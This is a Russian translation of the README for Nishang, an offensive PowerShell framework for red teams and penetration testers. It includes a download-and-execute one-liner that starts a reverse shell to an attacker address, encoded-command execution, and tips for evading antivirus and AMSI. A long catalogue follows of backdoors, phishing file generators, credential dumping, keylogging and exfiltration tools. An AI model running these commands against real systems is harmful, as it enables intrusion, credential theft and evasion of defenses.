
Nishang - Атакующий PowerShell для красных команд, тестирования на проникновение и наступательной безопасности.
Автор: Nikhil Mittal Основатель Altered Security — Hands-on red team and enterprise security training!
Импортируйте все скрипты в текущий сеанс PowerShell (PowerShell v3 и выше).
PS C:\nishang> Import-Module .\nishang.psm1
Используйте отдельные скрипты с dot sourcing.
PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1
PS C:\nishang> Get-Information
Чтобы получить справку по любому скрипту или функции, используйте:
PS C:\nishang> Get-Help [scriptname] -full
Обратите внимание, что справка доступна для функции, загруженной после запуска скрипта, а не для самого скрипта начиная с версии 0.3.8. Во всех случаях имя функции совпадает с именем скрипта.
Например, чтобы просмотреть справку по Get-WLAN-Keys.ps1, используйте
PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1
PS C:\nishang> Get-Help Get-WLAN-Keys -Full
Скрипты Nishang многими антивирусами помечаются как вредоносные. Скрипты на цели предназначены для использования в памяти, что очень легко сделать с помощью PowerShell. Два основных метода выполнения скриптов PowerShell в памяти:
Метод 1. Использование загрузки и выполнения в памяти: Используйте следующую команду для выполнения скрипта PowerShell из удаленной оболочки, родной оболочки meterpreter, веб-оболочки и т.д., а также экспортируемой им функции. Все скрипты в Nishang экспортируют функцию с тем же именем в текущий сеанс PowerShell.
powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]
Метод 2. Использование параметра -encodedcommand (или -e) PowerShell
Все скрипты в Nishang экспортируют функцию с тем же именем в текущий сеанс PowerShell. Поэтому убедитесь, что вызов функции сделан в самом скрипте при использовании параметра encodedcommand из оболочки, отличной от PowerShell. Для приведенного выше примера добавьте вызов функции (без кавычек) "Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]".
Закодируйте скрипт с помощью Invoke-Encode из Nishang:
PS C:\nishang> . \nishang\Utility\Invoke-Encode
PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand
Закодированные данные записаны в .\encoded.txt
Закодированная команда записана в .\encodedcommand.txt
Из указанного выше используйте закодированный скрипт из encodedcommand.txt и запустите его на цели, где могут выполняться команды (удаленная оболочка, родная оболочка meterpreter, веб-оболочка и т.д.). Используйте его следующим образом:
C:\Users\target> powershell -e [encodedscript]
Если скрипты по-прежнему обнаруживаются, поможет изменение имен функций и параметров, а также удаление содержимого справки.
Если AMSI в Windows 10 все еще блокирует выполнение скриптов, смотрите этот блог: http://www.labofapenetrationtester.com/2016/09/amsi.html
Nishang в настоящее время содержит следующие скрипты и полезные нагрузки.
Изменение объектов AD для предоставления минимальных разрешений, необходимых для DCShadow.
Выполнение скриптов PowerShell в памяти, выполнение команд, загрузка и скачивание файлов с помощью этой веб-оболочки.
Бэкдор, который может получать инструкции от сторонних веб-сайтов и выполнять скрипты PowerShell в памяти.
Бэкдор, который может получать команды и скрипты PowerShell из DNS TXT-запросов, выполнять их на цели и удаленно управляться с помощью запросов.
Бэкдор, который может выполнять скрипты PowerShell в заданное время на цели.
Бэкдор, который может получать команды и скрипты из SSID WLAN без подключения к нему.
Бэкдор, который может использовать заставку Windows для удаленного выполнения команд и скриптов.
Бэкдор, который может использовать альтернативные потоки данных и реестр Windows для обеспечения постоянства.
Бэкдор, использующий известный трюк с отладчиком для выполнения полезной нагрузки с помощью Sticky keys и Utilman (Windows key + U).
Изменение разрешений пространств имен DCOM и WMI, чтобы предоставить доступ не-администратору.
Изменение разрешений удаленного взаимодействия PowerShell, чтобы предоставить доступ не-администратору.
Реализация публично известных методов обхода/избегания AMSI.
Создание зараженных CHM-файлов, которые могут выполнять команды и скрипты PowerShell.
Создание Word-файлов и заражение существующих для выполнения команд и скриптов PowerShell.
Создание Excel-файлов и заражение существующих для выполнения команд и скриптов PowerShell.
Создание HTA-файла, который можно развернуть на веб-сервере и использовать в фишинговых кампаниях.
Создание подписанных JAR-файлов, которые можно использовать с апплетами для выполнения скриптов и команд.
Создание файлов ярлыков, способных выполнять команды и скрипты PowerShell.
Создание IQY-файлов для фишинга учетных данных и SMB-хешей.
Создание JS-файлов, способных выполнять команды и скрипты PowerShell.
Создание SCT-файлов, способных выполнять команды и скрипты PowerShell.
Создание SCF-файла, который можно использовать для перехвата вызовов NTLM-хешей.
Когда требуются привилегии SYSTEM.
Внедрение уязвимостей путем удаления исправлений.
Обход UAC.
Скачивание и выполнение скрипта PowerShell в памяти.
Скачивание исполняемого файла в текстовом формате, преобразование его в исполняемый файл и выполнение.
Выполнение команд PowerShell, нативных команд или SQL-команд на MSSQL Server с достаточными привилегиями.
Выполнение шеллкода в памяти с использованием DNS TXT-запросов.
Выполнение команд и скриптов PowerShell или обратного сеанса PowerShell с помощью rundll32.exe.
Проверка на виртуальную машину.
Копирование файла SAM с помощью службы теневого копирования томов.
Обман пользователя с целью получения учетных данных в открытом виде.
Пара скриптов для тестирования egress.
Получение ценной информации с цели.
Получение секрета LSA с цели.
Получение хешей паролей с цели.
Получение ключей WLAN в открытом виде с цели.
Логирование нажатий клавиш на цели.
Invoke-MimikatzWdigestDowngrade
Извлечение паролей пользователей в открытом виде на Windows 8.1 и Server 2012
Получение подсказок к паролям пользователей Windows с цели.
Обратное подключение и стриминг экрана цели с использованием MJPEG.
Загрузка mimikatz в память. Обновлено и с некоторыми настройками.
Извлечение ценной информации из памяти целевых процессов (например, браузеров) с помощью регулярных выражений.
Эксфильтрация информации, такой как учетные данные пользователя, с использованием SSID WLAN.
Идентификация admin jump-boxes и/или компьютеров, используемых для доступа к Unix-машинам.
Локальный HTTPS-прокси для атак MITM.
Проверка учетных данных на нескольких компьютерах и создание PSSessions.
Run-EXEonRemote Копирование и выполнение исполняемого файла на нескольких машинах.
Invoke-NetworkRelay Создание сетевых ретрансляторов между компьютерами.
Проверка хешей запущенных процессов по базе VirusTotal.
Брутфорс FTP, Active Directory, MSSQL и Sharepoint.
Удобный сканер портов.
Все функции Nishang в одном скриптовом модуле.
Отправка команд и скриптов на указанный аккаунт Gmail для выполнения агентом Invoke-PsGcatAgent
Выполнение команд и скриптов, отправленных Invoke-PsGcat.
Интерактивная обратная или связующая оболочка PowerShell
Урезанная версия Invoke-PowerShellTcp. Также содержит скелетную версию, которая может поместиться в два твита.
Invoke-PowerShellTcpOneLineBind
Связующая версия Invoke-PowerShellTcpOneLine.
Интерактивная обратная или связующая оболочка PowerShell через UDP
Урезанная версия Invoke-PowerShellUdp.
Обратный интерактивный PowerShell через HTTPS.
Обратный интерактивный PowerShell через HTTP.
Очистка системы после использования Invoke-PoshRatHttps
Интерактивный PowerShell с использованием WMI.
Интерактивная обратная оболочка PowerShell через ICMP.
Интерактивная обратная оболочка PowerShell через HTTP с использованием rundll32.exe.
Интерактивная обратная оболочка PowerShell через HTTP с использованием regsvr32.exe.
Добавление возможности эксфильтрации данных в Gmail, Pastebin, веб-сервер и DNS к любому скрипту.
Добавление возможности сохранения после перезагрузки к скрипту.
Удаление сохранения, добавленного скриптом Add-Persistence.
Передайте (|) это любому скрипту для эксфильтрации вывода.
Передача файла на цель.
Разбор клавиш, записанных кейлоггером.
Кодирование и сжатие скрипта или строки.
Декодирование и распаковка скрипта или строки из Invoke-Encode.
Запуск веб-сервера, который логирует Basic-аутентификацию и SMB-хеши.
Кодирование строки в ROT13 или декодирование строки ROT13.
Генерация DNS TXT-записей, которые можно использовать с другими скриптами.
[Base64ToString]
[StringToBase64]
[ExetoText]
[TexttoExe]
Обновления о Nishang можно найти в моем блоге http://labofapenetrationtester.com и в моем Twitter @nikhil_mitt.
Пожалуйста, создайте issue, если вы обнаружили ошибку или у вас есть запрос функции. Вы можете написать мне на nikhil [dot] uitrgpv at gmail.com
Для отзывов, обсуждений и запросов функций присоединяйтесь: http://groups.google.com/group/nishang-users
Я всегда ищу контрибьюторов для Nishang. Пожалуйста, отправляйте запросы или пишите мне.
Некоторые полезные записи в блоге для начинающих:
http://www.labofapenetrationtester.com/2014/06/nishang-0-3-4.html
http://labofapenetrationtester.com/2012/08/introducing-nishang-powereshell-for.html
http://labofapenetrationtester.com/2013/08/powerpreter-and-nishang-Part-1.html
http://www.labofapenetrationtester.com/2013/09/powerpreter-and-nishang-Part-2.html
Все записи о Nishang: